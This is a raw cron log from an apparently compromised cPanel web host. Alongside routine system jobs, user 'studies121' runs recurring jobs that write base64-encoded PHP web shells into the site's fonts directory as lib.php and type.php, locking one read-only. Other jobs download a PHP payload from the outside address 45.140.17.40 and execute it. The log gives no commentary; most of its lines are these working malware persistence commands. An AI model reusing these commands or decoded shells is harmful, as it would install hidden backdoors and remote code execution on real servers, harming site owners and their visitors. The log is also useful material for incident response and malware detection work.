Sep  9 18:41:01 ip-184-168-122-23 CROND[29893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:42:01 ip-184-168-122-23 CROND[29983]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:42:01 ip-184-168-122-23 CROND[29985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:42:01 ip-184-168-122-23 CROND[29986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:42:01 ip-184-168-122-23 CROND[29984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:42:01 ip-184-168-122-23 CROND[29987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:43:01 ip-184-168-122-23 CROND[30073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:43:01 ip-184-168-122-23 CROND[30074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:43:01 ip-184-168-122-23 CROND[30075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:43:01 ip-184-168-122-23 CROND[30076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:44:01 ip-184-168-122-23 CROND[30237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:44:01 ip-184-168-122-23 CROND[30238]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:44:01 ip-184-168-122-23 CROND[30239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:44:01 ip-184-168-122-23 CROND[30240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:44:01 ip-184-168-122-23 CROND[30241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:45:01 ip-184-168-122-23 CROND[30439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:45:02 ip-184-168-122-23 CROND[30442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:45:02 ip-184-168-122-23 CROND[30445]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:45:02 ip-184-168-122-23 CROND[30446]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:45:02 ip-184-168-122-23 CROND[30447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:45:02 ip-184-168-122-23 CROND[30449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:46:02 ip-184-168-122-23 CROND[30541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:46:02 ip-184-168-122-23 CROND[30543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:46:02 ip-184-168-122-23 CROND[30544]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 18:46:02 ip-184-168-122-23 CROND[30545]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 18:46:02 ip-184-168-122-23 CROND[30547]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:46:02 ip-184-168-122-23 CROND[30550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:46:02 ip-184-168-122-23 CROND[30549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:47:01 ip-184-168-122-23 CROND[30651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:47:01 ip-184-168-122-23 CROND[30655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:47:01 ip-184-168-122-23 CROND[30653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:47:01 ip-184-168-122-23 CROND[30654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:48:01 ip-184-168-122-23 CROND[30750]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:48:01 ip-184-168-122-23 CROND[30751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:48:01 ip-184-168-122-23 CROND[30755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:48:01 ip-184-168-122-23 CROND[30757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:48:01 ip-184-168-122-23 CROND[30754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:49:01 ip-184-168-122-23 CROND[30845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:49:01 ip-184-168-122-23 CROND[30847]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:49:01 ip-184-168-122-23 CROND[30849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:49:01 ip-184-168-122-23 CROND[30850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:50:01 ip-184-168-122-23 CROND[31032]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 18:50:01 ip-184-168-122-23 CROND[31033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:50:01 ip-184-168-122-23 CROND[31038]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 18:50:01 ip-184-168-122-23 CROND[31040]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:50:01 ip-184-168-122-23 CROND[31041]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:50:01 ip-184-168-122-23 CROND[31045]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:50:01 ip-184-168-122-23 CROND[31043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:50:01 ip-184-168-122-23 CROND[31046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:50:01 ip-184-168-122-23 CROND[31050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:51:01 ip-184-168-122-23 CROND[31144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:51:01 ip-184-168-122-23 CROND[31147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:51:01 ip-184-168-122-23 CROND[31146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:51:01 ip-184-168-122-23 CROND[31148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:52:01 ip-184-168-122-23 CROND[31234]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:52:01 ip-184-168-122-23 CROND[31236]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:52:01 ip-184-168-122-23 CROND[31238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:52:01 ip-184-168-122-23 CROND[31237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:52:01 ip-184-168-122-23 CROND[31239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:53:01 ip-184-168-122-23 CROND[31335]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:53:01 ip-184-168-122-23 CROND[31337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:53:01 ip-184-168-122-23 CROND[31336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
